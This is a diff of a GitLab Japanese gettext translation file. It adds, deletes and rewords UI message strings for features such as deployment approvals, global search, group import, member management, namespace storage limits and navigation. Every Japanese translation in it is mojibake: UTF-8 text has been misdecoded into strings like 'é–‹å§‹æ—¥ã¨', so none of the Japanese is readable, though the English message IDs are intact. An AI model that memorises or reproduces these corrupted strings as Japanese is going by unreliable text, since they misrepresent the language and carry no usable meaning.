msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr "開始日ã¨ç¾åœ¨ã®é•ã„"
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14572,6 +14768,9 @@ msgstr "動的アプリケーションセキュリティテスト (DAST)"
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr "有効期é™"
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr "有効期é™:"
@@ -16316,9 +16506,6 @@ msgstr "Explore public projects"
msgid "Explore snippets"
msgstr "Explore snippets"
-msgid "Explore topics"
-msgstr "Explore topics"
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr "イシューã®ç§»å‹•ã«å¤±æ•—ã—ã¾ã—ãŸã€‚一ã¤ã®ãƒ©ãƒ™ãƒ«ã—ã‹ä»˜
msgid "Failed to move this issue because target project doesn't exist."
msgstr "ターゲットã®ãƒ—ロジェクトãŒå­˜åœ¨ã—ãªã„ã®ã§ã€ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’移動ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "内部エラーã®ãŸã‚ã€ãƒ©ãƒ™ãƒ«ã‚’昇格ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚管ç†è€…ã«å•ã„åˆã‚ã›ã¦ãã ã•ã„。"
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,18 +17565,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "フォーマット:%{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "%{gitlab_ci_yml} ã«ã‚¨ãƒ©ãƒ¼ãŒã‚ã‚Šã¾ã™"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr ".gitlab-ci.yml ã«ã‚¨ãƒ©ãƒ¼ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -17490,6 +17668,9 @@ msgstr "GPG キー ID:"
msgid "GPG Keys"
msgstr "GPG キー"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG éµã‚’使用ã™ã‚‹ã“ã¨ã§ã€ç½²å済ã¿ã‚³ãƒŸãƒƒãƒˆã‚’検証ã§ãã¾ã™"
@@ -18146,9 +18327,6 @@ msgstr "リリースã®é–‹å§‹"
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr "グローãƒãƒ« ショートカット"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr "グループ %{group_name} ã¯å‰Šé™¤äºˆå®šã—ã¾ã—ãŸã€‚"
msgid "Group %{group_name} was successfully created."
msgstr "'%{group_name}' グループã¯æ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr "グループã¯ã€è¤‡æ•°ã®ãƒ—ロジェクトã¨ãƒ¡ãƒ³ãƒãƒ¼ã‚’管ç†ã™
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "グループã¯ãƒ—ロジェクトを整ç†ã™ã‚‹ãŸã‚ã®ã€ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã®ã‚ˆã†ã«æ©Ÿèƒ½ã—ã¾ã™ã€‚"
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "グループã¯ã‚ã‚Šã¾ã›ã‚“"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "サブグループやプロジェクトã¯ã‚ã‚Šã¾ã›ã‚“。"
@@ -19656,6 +19867,9 @@ msgstr "グループをインãƒãƒ¼ãƒˆ"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "ã“ã®æ©Ÿèƒ½ã¯å»ƒæ­¢ã•ã‚Œã€ %{docs_link_start}グループマイグレーション%{docs_link_end} ã«ç½®ãæ›ãˆã‚‰ã‚Œã¾ã—ãŸã€‚"
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr "GitHub を使用ã—ã¦ã„ã‚‹å ´åˆã€GitHub 上ã®ã‚³ãƒŸãƒƒãƒˆã‚„プルã
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "ブロックã•ã‚ŒãŸã‚¤ãƒ³ãƒãƒ¼ãƒˆURL: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "%{project_safe_import_url} リãƒã‚¸ãƒˆãƒªã‹ã‚‰ %{project_full_path} ã¸ã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆã‚¨ãƒ©ãƒ¼- %{message}"
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "プロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆã«å¤±æ•—ã—ã¾ã—ãŸ"
@@ -21817,8 +22061,8 @@ msgstr "インサイト"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
-msgstr "プロジェクト㌠insights.yml ファイル内ã§é™¤å¤–ã•ã‚Œã„ã‚‹ãŸã‚ã€ã„ãã¤ã‹ã®é …ç›®ãŒè¡¨ç¤ºã•ã‚Œã¾ã›ã‚“(詳細ã«ã¤ã„ã¦ã¯ projects.only設定をå‚ç…§ã—ã¦ãã ã•ã„)。"
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
+msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "ã“ã®ãƒ—ロジェクトã¯insights.ymlファイルã§é™¤å¤–ã•ã‚Œã¾ã™ï¼ˆè©³ç´°ã«ã¤ã„ã¦ã¯ã€projects.only設定をå‚ç…§ã—ã¦ãã ã•ã„)。"
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr "Kubernetes クラスター"
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Kubernetes クラスターã®ä½œæˆä¸­ã«ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã—ãŸ:%{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Kubernetesクラスターã®çµ±åˆã¨ãƒªã‚½ãƒ¼ã‚¹ã¯å‰Šé™¤ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -23903,9 +24159,6 @@ msgstr "最新パイプライン"
msgid "Last Seen"
msgstr "最終閲覧"
-msgid "Last Sync"
-msgstr "å‰å›žã®åŒæœŸ"
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr "詳ã—ã見る。"
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "コミットã¸ã®ç½²åã®è©³ç´°"
-
msgid "Learn more in the"
msgstr "詳ã—ã見る:"
@@ -24857,6 +25110,9 @@ msgstr "Web IDEを使用ã—ã¦ãƒ–ラウザ内ã§å¤‰æ›´ã—レビューã™ã‚‹"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "ãƒãƒ¼ãƒ å…¨å“¡ãŒå ´æ‰€ã«é–¢ä¿‚ãªãより生産的ã«æ´»å‹•ã§ãã¾ã™ã€‚GitLab Geo ã¯ã€å¤§ããªã‚µã‚¤ã‚ºã®ãƒªãƒã‚¸ãƒˆãƒªã®å–得やクローンã«ã‹ã‹ã‚‹æ™‚間を削減ã™ã‚‹ãŸã‚ã«ã€èª­ã¿è¾¼ã¿å°‚用ã®ãƒŸãƒ©ãƒ¼ã‚’ GitLab インスタンス上ã«ä½œæˆã—ã¾ã™ã€‚"
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’別ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã¨é–¢é€£ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ %{duplicate_param} ã¨é‡è¤‡ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã—ãŸã€‚"
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ %{issue_ref} ã¨é–¢é€£ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã—ãŸã€‚"
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ %{duplicate_reference} ã¨é‡è¤‡ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã™ã‚‹ã€‚"
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ %{issue_ref} ã¨é–¢é€£ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã™ã‚‹ã€‚"
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr "メンãƒãƒ¼ã‚·ãƒƒãƒ—"
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "ダイレクト"
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr "無効"
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr "サジェストãƒãƒƒãƒ—オーãƒãƒ¼å´ä¸‹ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "全体差分を読ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ä¸‹ã•ã„。"
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "ファイルãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr "メッセージ"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "メソッド"
@@ -26307,6 +26599,12 @@ msgstr "マイルストーンを検索"
msgid "MilestoneCombobox|Select milestone"
msgstr "マイルストーンをé¸æŠž"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "クローズ:"
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr "åå‰"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr "ãã®åå‰ã¯æ—¢ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚"
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "æ–°ã—ã„ラベルã«åå‰ã‚’ã¤ã‘ã‚‹"
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "ヘルプ"
@@ -26996,9 +27336,6 @@ msgstr "æ–°ã—ã„デプロイキー"
msgid "New directory"
msgstr "æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒª"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr "ãã®åå‰ã¾ãŸã¯èª¬æ˜Žã®ãƒ©ãƒ™ãƒ«ãŒã‚ã‚Šã¾ã›ã‚“"
-msgid "No license. All rights reserved"
-msgstr "ライセンス表記ãŒã‚ã‚Šã¾ã›ã‚“。全ã¦ã®æ¨©åˆ©ã‚’ä¿æœ‰ã—ã¦ã„ã¾ã™ã€‚"
-
msgid "No matches found"
msgstr "一致ã™ã‚‹é …ç›®ãŒã‚ã‚Šã¾ã›ã‚“"
@@ -27492,6 +27826,21 @@ msgstr "リリースã¨åŒã˜ãƒ—ロジェクトをæŒã¤ã‚°ãƒ«ãƒ¼ãƒ—マイルス
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "10月"
@@ -28506,6 +28861,9 @@ msgstr "ä¾å­˜é–¢ä¿‚ファイルãŒã²ã¨ã¤ã‚‚サãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ãªã„ãŸ
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr "オペレーションダッシュボードã¯å„プロジェクトé‹ç”¨
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr "申ã—訳ã‚ã‚Šã¾ã›ã‚“。ã‚ãªãŸã®ãƒ•ã‚£ãƒ«ã‚¿ãƒ¼ã§ã¯è©²å½“ã™ã‚‹
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr "親"
-msgid "Parent epic doesn't exist."
-msgstr "親 epic ãŒã‚ã‚Šã¾ã›ã‚“。"
-
-msgid "Parent epic is not present."
-msgstr "親エピックãŒã‚ã‚Šã¾ã›ã‚“。"
-
